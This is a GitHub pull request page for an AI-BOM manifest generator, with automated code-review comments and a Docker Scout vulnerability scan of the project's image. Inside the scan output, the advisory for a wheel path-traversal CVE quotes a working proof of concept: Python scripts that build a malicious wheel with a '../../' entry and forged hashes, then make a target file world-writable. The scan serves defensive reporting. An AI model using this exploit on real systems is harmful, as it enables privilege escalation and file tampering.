Skip to content

feat(observability): implement AIBOMGenerator for AI-SPM supply chain compliance#5

Merged
Rahul Dass (rahuldass19) merged 8 commits intomainfrom
feat/phase-19-trust
Feb 23, 2026
Merged

feat(observability): implement AIBOMGenerator for AI-SPM supply chain compliance#5
Rahul Dass (rahuldass19) merged 8 commits intomainfrom
feat/phase-19-trust

Conversation

@rahuldass19
Copy link
Member

@rahuldass19 Rahul Dass (rahuldass19) commented Feb 23, 2026

Overview

This PR implements an AI Bill of Materials (AI-BOM) generator to address critical observability and supply chain security (AI-SPM) concerns within autonomous agent ecosystems, as highlighted by Snyk.

Changes Made

  • Implemented AIBOMGenerator: Added src/qwed_mcp/observability/aibom.py.
  • Supply Chain Logging: Automatically logs the exact LLM model, the deterministic QWED verification engines, and the executing MCP tools used for any given transaction.
  • Immutable Hashing: Generates an immutable SHA-256 manifest_hash of the execution environment to prevent post-execution tampering.
  • Unit Tests: Added robust pytest coverage in tests/test_aibom.py to verify deterministic hashing and field instantiation.

Impact

Provides total visibility into the agentic supply chain, ensuring that every AI decision can be perfectly audited with a cryptographic AI-BOM manifest.

Summary by CodeRabbit

  • New Features

    • Added AI Bill of Materials (AI-BOM) generation: produces a manifest listing models, verification engines, tools, a compliance marker, timestamp, and an integrity hash.
  • Tests

    • Added tests to validate AI-BOM content, required fields, and deterministic manifest hashing.
  • Chores

    • CI/workflow updates for pull-request Docker publishing and enhanced container scanning; image build/runtime updates including environment and entrypoint adjustments.

@coderabbitai
Copy link

coderabbitai bot commented Feb 23, 2026

Warning

Rate limit exceeded

@rahuldass19 has exceeded the limit for the number of commits that can be reviewed per hour. Please wait 7 minutes and 51 seconds before requesting another review.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

📥 Commits

Reviewing files that changed from the base of the PR and between e9da429 and 2a9d2f2.

📒 Files selected for processing (3)
  • .github/workflows/docker-publish.yml
  • Dockerfile
  • src/qwed_mcp/observability/__init__.py
📝 Walkthrough

Walkthrough

Introduces AIBOMGenerator to produce AI-BOM manifests (components, compliance, timestamp, SHA-256 manifest_hash), adds unit tests for structure and deterministic hashing, and updates CI Docker publish workflow and Dockerfile build/runtime steps.

Changes

Cohort / File(s) Summary
AIBOM generator
src/qwed_mcp/observability/aibom.py
Adds AIBOMGenerator with `generate_manifest(llm_model: str, qwed_engines_used: list[str]
Tests
tests/test_aibom.py
Adds tests verifying BOM contains timestamp, manifest_hash, compliance, correct component entries and ordering, manifest_hash length (64), and deterministic hashing by recomputing hash from BOM content without timestamp/manifest_hash.
CI workflow
.github/workflows/docker-publish.yml
Modifies Docker publish workflow: adjusts job permissions for pull requests, allows Docker Hub login behavior on PRs, renames/limits Docker Scout Quickview to PRs, and adds a Docker Scout CVEs step for PR scanning with continue-on-error.
Container image build
Dockerfile
Updates base Python image version, introduces explicit virtualenv creation and PATH/VIRTUAL_ENV setup, copies README and src into build stage, installs packages into venv, creates non-root runtime user, and adds ENTRYPOINT for the qwed-mcp binary.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

🐰 I nibbled code and stamped a date,
Models, tools, all in their crate,
Hashed the core so nothing drifts—
A little rabbit left these gifts. 🥕

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title accurately and specifically describes the main change: implementing AIBOMGenerator for AI-SPM supply chain compliance, which is the primary feature addition in this PR.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment
  • Commit unit tests in branch feat/phase-19-trust

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🧹 Nitpick comments (1)
src/qwed_mcp/observability/aibom.py (1)

4-9: generate_manifest should be a @staticmethod; add None guards for list parameters.

The class holds no instance state, so generate_manifest is effectively a standalone function. Marking it @staticmethod (or making it a module-level function) signals intent and avoids the implicit self parameter.

Additionally, if a caller passes None for qwed_engines_used or mcp_tools_used (despite the list annotation), the list comprehensions will raise a TypeError at runtime with no diagnostic message.

🛠️ Proposed fix
-    def generate_manifest(self, llm_model: str, qwed_engines_used: list, mcp_tools_used: list) -> dict:
+    `@staticmethod`
+    def generate_manifest(llm_model: str, qwed_engines_used: list, mcp_tools_used: list) -> dict:
+        if not llm_model:
+            raise ValueError("llm_model must be a non-empty string")
+        qwed_engines_used = qwed_engines_used or []
+        mcp_tools_used = mcp_tools_used or []
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/qwed_mcp/observability/aibom.py` around lines 4 - 9, The
generate_manifest method on class AIBOMGenerator should be converted to a
`@staticmethod` (or moved to module scope) since it uses no instance state: add
the `@staticmethod` decorator and remove any implicit use of self; also add
None-guards for qwed_engines_used and mcp_tools_used (e.g., treat None as [] at
the start of generate_manifest) so the list comprehensions over
qwed_engines_used and mcp_tools_used (and usage of llm_model) won’t raise
TypeError when callers pass None.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@src/qwed_mcp/observability/aibom.py`:
- Line 11: Replace the raw epoch float used for the "timestamp" field with an
ISO 8601 UTC string: import datetime at top of the module and set "timestamp" to
datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat() (or
datetime.datetime.utcnow().isoformat() + "Z") so the manifest stores a
human-readable ISO 8601 UTC timestamp instead of time.time(); update any
relevant serialization code if needed to accept the string.
- Around line 20-22: The current manifest hash uses
hashlib.sha256(str(bom).encode()) which is non-deterministic because bom already
contains a timestamp and str(dict) is an unstable serialization; fix by
computing the hash from a deterministic JSON serialization of the BOM with the
timestamp excluded: create a shallow copy of bom without the "timestamp" key (or
otherwise remove volatile fields), call json.dumps(copy, sort_keys=True,
separators=(",", ":")) and compute bom_hash =
hashlib.sha256(that_bytes).hexdigest(), then set bom["manifest_hash"] = bom_hash
while leaving the original bom["timestamp"] unchanged; update the code around
where bom_hash is created and assigned (the bom, bom_hash assignment and
manifest_hash set).

In `@tests/test_aibom.py`:
- Around line 25-38: Update the test
test_aibom_hash_is_deterministic_based_on_content to actually assert cross-call
determinism: call AIBOMGenerator().generate_manifest("claude-3-opus", [],
["search"]) twice (using the same arguments) and assert both returned
manifest_hash values are equal; use copy.deepcopy on the manifest when
recomputing the expected_hash to avoid shallow-copy pitfalls and move the
hashlib import to the top of the test file instead of importing inside the
function; reference AIBOMGenerator.generate_manifest when making these changes
so the test targets the same method twice.

---

Nitpick comments:
In `@src/qwed_mcp/observability/aibom.py`:
- Around line 4-9: The generate_manifest method on class AIBOMGenerator should
be converted to a `@staticmethod` (or moved to module scope) since it uses no
instance state: add the `@staticmethod` decorator and remove any implicit use of
self; also add None-guards for qwed_engines_used and mcp_tools_used (e.g., treat
None as [] at the start of generate_manifest) so the list comprehensions over
qwed_engines_used and mcp_tools_used (and usage of llm_model) won’t raise
TypeError when callers pass None.

ℹ️ Review info

Configuration used: defaults

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e4de8ff and 5f0ab7d.

📒 Files selected for processing (2)
  • src/qwed_mcp/observability/aibom.py
  • tests/test_aibom.py

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
src/qwed_mcp/observability/aibom.py (1)

11-15: Tighten type annotations on list parameters and return type.

The parameters accept None at runtime (guarded by or [] on lines 14–15), but the annotations declare list, not list[str] | None. A strict type checker will flag callers passing None. Similarly, -> dict could be -> dict[str, Any].

♻️ Proposed refinement
+from typing import Optional
-    def generate_manifest(llm_model: str, qwed_engines_used: list, mcp_tools_used: list) -> dict:
+    def generate_manifest(
+        llm_model: str,
+        qwed_engines_used: Optional[list[str]],
+        mcp_tools_used: Optional[list[str]],
+    ) -> dict[str, Any]:

For Python 3.9+, list[str] | None can replace Optional[list[str]] without the import.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/qwed_mcp/observability/aibom.py` around lines 11 - 15, Update the
generate_manifest signature to use precise typing: change qwed_engines_used and
mcp_tools_used to accept list[str] | None (or Optional[list[str]] if you prefer)
and change the return type from dict to dict[str, Any]; add "from typing import
Any" if needed and leave the existing runtime guards (qwed_engines_used =
qwed_engines_used or [] and mcp_tools_used = mcp_tools_used or []) intact so
callers can pass None safely; ensure references to the function name
generate_manifest remain unchanged.
.github/workflows/docker-publish.yml (1)

66-75: exit-code: true will hard-fail PRs when base-image or third-party CVEs are present.

This is intentional for breaking builds on new CVEs introduced by a PR, but it will also block any PR that inherits unpatched CVEs from the base image or an upstream dependency outside the PR's control. Consider whether a continue-on-error: true fallback or a separate required/non-required check distinction would better fit the team's workflow.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/docker-publish.yml around lines 66 - 75, The Docker Scout
CVEs step ("Docker Scout CVEs" using docker/scout-action@v1) currently sets
exit-code: true which will fail PRs for any CVEs inherited from base images or
upstream dependencies; change the step to avoid hard-failing by either setting
exit-code to false and handling failures downstream or adding continue-on-error:
true (or split into a non-required nightly job vs required PR gate) so only
new/PR-introduced CVEs block merges; update the step inputs around exit-code
and/or add continue-on-error while keeping the
command/image/only-severities/github-token settings intact.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In @.github/workflows/docker-publish.yml:
- Around line 63-64: There is a duplicate mapping key "github-token" in the
workflow's inputs which violates YAML and actionlint; remove the redundant entry
so only a single "github-token: ${{ secrets.GITHUB_TOKEN }}" remains in the same
map (i.e., delete the second occurrence) to avoid undefined behavior from
duplicate keys.

---

Nitpick comments:
In @.github/workflows/docker-publish.yml:
- Around line 66-75: The Docker Scout CVEs step ("Docker Scout CVEs" using
docker/scout-action@v1) currently sets exit-code: true which will fail PRs for
any CVEs inherited from base images or upstream dependencies; change the step to
avoid hard-failing by either setting exit-code to false and handling failures
downstream or adding continue-on-error: true (or split into a non-required
nightly job vs required PR gate) so only new/PR-introduced CVEs block merges;
update the step inputs around exit-code and/or add continue-on-error while
keeping the command/image/only-severities/github-token settings intact.

In `@src/qwed_mcp/observability/aibom.py`:
- Around line 11-15: Update the generate_manifest signature to use precise
typing: change qwed_engines_used and mcp_tools_used to accept list[str] | None
(or Optional[list[str]] if you prefer) and change the return type from dict to
dict[str, Any]; add "from typing import Any" if needed and leave the existing
runtime guards (qwed_engines_used = qwed_engines_used or [] and mcp_tools_used =
mcp_tools_used or []) intact so callers can pass None safely; ensure references
to the function name generate_manifest remain unchanged.

ℹ️ Review info

Configuration used: defaults

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 5f0ab7d and 4d0623e.

📒 Files selected for processing (3)
  • .github/workflows/docker-publish.yml
  • src/qwed_mcp/observability/aibom.py
  • tests/test_aibom.py

@github-actions
Copy link

github-actions bot commented Feb 23, 2026

Your image qwedai/qwed-mcp:test critical: 0 high: 3 medium: 2 low: 31
Current base image python:3.11-slim critical: 0 high: 13 medium: 19 low: 39
Refreshed base image python:3.11-slim critical: 0 high: 1 medium: 2 low: 21
Updated base image python:3.14-slim critical: 0 high: 0 medium: 1 low: 21

@github-actions
Copy link

github-actions bot commented Feb 23, 2026

🔍 Vulnerabilities of qwedai/qwed-mcp:test

📦 Image Reference qwedai/qwed-mcp:test
digestsha256:55a5819be672360ee82efe0f20348814d6c2cf98e50583c4b7a8d15949333e03
vulnerabilitiescritical: 0 high: 3 medium: 0 low: 0
platformlinux/amd64
size131 MB
packages191
📦 Base Image python:3.11-slim
also known as
  • 3.11-slim-bookworm
  • 3.11.11-slim
  • 3.11.11-slim-bookworm
digestsha256:a8e0a3090316aed0b11037aac613aef32fb1747dcc1dcb5c0f6c727a0113a07f
vulnerabilitiescritical: 0 high: 13 medium: 19 low: 39
critical: 0 high: 2 medium: 0 low: 0 setuptools 65.5.1 (pypi)

pkg:pypi/setuptools@65.5.1

high 7.7: CVE--2025--47273 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<78.1.1
Fixed version78.1.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.180%
EPSS Percentile40th percentile
Description

Summary

A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1

Details

    def _download_url(self, url, tmpdir):
        # Determine download filename
        #
        name, _fragment = egg_info_for_url(url)
        if name:
            while '..' in name:
                name = name.replace('..', '.').replace('\\', '_')
        else:
            name = "__downloaded__"  # default if URL has no path contents

        if name.endswith('.[egg.zip](http://egg.zip/)'):
            name = name[:-4]  # strip the extra .zip before download

 -->       filename = os.path.join(tmpdir, name)

Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88

os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter.
name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.

Risk Assessment

As easy_install and package_index are deprecated, the exploitation surface is reduced.
However, it seems this could be exploited in a similar fashion like GHSA-r9hx-vwmv-q579, and as described by POC 4 in GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.

Impact

An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.

References

https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5
pypa/setuptools#4946

high 7.5: CVE--2024--6345 Improper Control of Generation of Code ('Code Injection')

Affected range<70.0.0
Fixed version70.0.0
CVSS Score7.5
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score4.940%
EPSS Percentile89th percentile
Description

A vulnerability in the package_index module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.

critical: 0 high: 1 medium: 0 low: 0 wheel 0.45.1 (pypi)

pkg:pypi/wheel@0.45.1

high 7.1: CVE--2026--24049 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=0.40.0
<=0.46.1
Fixed version0.46.2
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
EPSS Score0.007%
EPSS Percentile1st percentile
Description

Summary

  • Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
  • Root Cause Component: wheel.cli.unpack.unpack function.
  • Affected Packages:
    1. wheel (Upstream source)
    2. setuptools (Downstream, vendors wheel)
  • Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:
image

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

# Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (3)
Dockerfile (2)

16-28: Consider separating dependency install from package install for better layer caching.

Currently, pyproject.toml, README.md, and src/ are all copied before uv pip install .. Any change in src/ invalidates the dependency-install cache layer. If dependencies change less frequently than source code, you can split this into two steps: install deps first (from pyproject.toml only), then copy and install the package.

♻️ Proposed layer-caching optimization
 # Copy project files
 COPY pyproject.toml .
 COPY README.md .
-COPY src/ src/
 
 # Create virtual environment and install dependencies
-# We install the package in editable mode or standard mode
 RUN uv venv /opt/venv
 ENV VIRTUAL_ENV=/opt/venv
 ENV PATH="/opt/venv/bin:$PATH"
 
-# Install the package (including sentry-sdk and other deps from pyproject.toml)
+# Install dependencies only (cached unless pyproject.toml changes)
+RUN uv pip install --no-deps -r pyproject.toml || uv pip install .
+
+# Now copy source and install the package
+COPY src/ src/
 RUN uv pip install .

Note: The exact split depends on whether uv supports a --no-deps/--only-deps workflow from pyproject.toml. Adjust to fit your tooling.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@Dockerfile` around lines 16 - 28, Split dependency installation from package
installation to improve Docker layer caching: first COPY only pyproject.toml
(and README.md if needed), run dependency install (e.g., use the existing RUN uv
pip install -r /path/to/requirements or RUN uv pip install --no-build-isolation
-e . or the tool-specific equivalent to install dependencies from
pyproject.toml), then COPY src/ and run the final package install with RUN uv
pip install . (or RUN uv pip install -e .) so changes to src/ do not invalidate
the dependency install layer; update the Dockerfile lines referencing COPY
pyproject.toml, COPY src/, RUN uv venv /opt/venv, and RUN uv pip install .
accordingly.

36-36: Runtime apt-get upgrade is good for patching, but consider pinning or logging upgraded packages.

Running apt-get upgrade -y without --no-install-recommends is fine here since you're upgrading (not installing new packages). However, this makes builds non-deterministic — two builds on different days may produce different images. For audit trail purposes (especially given the AI-BOM focus of this PR), you might want to log what was upgraded or use a dated base image digest pin.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@Dockerfile` at line 36, The RUN line currently using "apt-get upgrade -y"
makes builds non-deterministic; either pin the base image to a specific digest
(use a dated base image digest) or modify the RUN command to capture what was
upgraded for auditing: replace the current RUN apt-get update && apt-get upgrade
-y && rm -rf /var/lib/apt/lists/* with a version that records the upgrade list
(e.g., apt-get update && apt-get -y upgrade && dpkg-query -W -f='${Package}
${Version}\n' > /var/log/apt-upgraded-packages.txt && rm -rf
/var/lib/apt/lists/*) so you have an audit trail, or alternatively stop
upgrading in-image and instead rely on a pinned base image digest for
reproducibility.
.github/workflows/docker-publish.yml (1)

66-76: exit-code: true combined with continue-on-error: true — clarify intent with a comment.

This combination means the step signals failure when critical/high CVEs are found, but the job still succeeds. The pattern is fine for a soft-gate during initial rollout, but it can confuse contributors who see a green check despite CVE findings. Consider adding an inline comment (e.g., # Soft-fail: report CVEs without blocking merges) so intent is obvious to future maintainers.

📝 Suggested clarifying comment
       - name: Docker Scout CVEs
+        # Soft-fail: surface critical/high CVEs in the PR without blocking the pipeline
         if: ${{ github.event_name == 'pull_request' }}
         uses: docker/scout-action@v1
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/docker-publish.yml around lines 66 - 76, The Docker Scout
CVEs step currently sets exit-code: true while also using continue-on-error:
true, which causes the action to report failures for critical/high CVEs but
still allow the job to pass; add a clear inline comment above or next to the
"Docker Scout CVEs" step (referencing the step name "Docker Scout CVEs" and the
keys exit-code and continue-on-error) explaining this is an intentional
soft-fail (for example: "Soft-fail: report CVEs without blocking merges during
initial rollout") so future maintainers understand the intent.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Nitpick comments:
In @.github/workflows/docker-publish.yml:
- Around line 66-76: The Docker Scout CVEs step currently sets exit-code: true
while also using continue-on-error: true, which causes the action to report
failures for critical/high CVEs but still allow the job to pass; add a clear
inline comment above or next to the "Docker Scout CVEs" step (referencing the
step name "Docker Scout CVEs" and the keys exit-code and continue-on-error)
explaining this is an intentional soft-fail (for example: "Soft-fail: report
CVEs without blocking merges during initial rollout") so future maintainers
understand the intent.

In `@Dockerfile`:
- Around line 16-28: Split dependency installation from package installation to
improve Docker layer caching: first COPY only pyproject.toml (and README.md if
needed), run dependency install (e.g., use the existing RUN uv pip install -r
/path/to/requirements or RUN uv pip install --no-build-isolation -e . or the
tool-specific equivalent to install dependencies from pyproject.toml), then COPY
src/ and run the final package install with RUN uv pip install . (or RUN uv pip
install -e .) so changes to src/ do not invalidate the dependency install layer;
update the Dockerfile lines referencing COPY pyproject.toml, COPY src/, RUN uv
venv /opt/venv, and RUN uv pip install . accordingly.
- Line 36: The RUN line currently using "apt-get upgrade -y" makes builds
non-deterministic; either pin the base image to a specific digest (use a dated
base image digest) or modify the RUN command to capture what was upgraded for
auditing: replace the current RUN apt-get update && apt-get upgrade -y && rm -rf
/var/lib/apt/lists/* with a version that records the upgrade list (e.g., apt-get
update && apt-get -y upgrade && dpkg-query -W -f='${Package} ${Version}\n' >
/var/log/apt-upgraded-packages.txt && rm -rf /var/lib/apt/lists/*) so you have
an audit trail, or alternatively stop upgrading in-image and instead rely on a
pinned base image digest for reproducibility.

ℹ️ Review info

Configuration used: defaults

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 4d0623e and e9da429.

📒 Files selected for processing (3)
  • .github/workflows/docker-publish.yml
  • Dockerfile
  • src/qwed_mcp/observability/aibom.py
🚧 Files skipped from review as they are similar to previous changes (1)
  • src/qwed_mcp/observability/aibom.py

@rahuldass19 Rahul Dass (rahuldass19) merged commit 0beb304 into main Feb 23, 2026
11 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant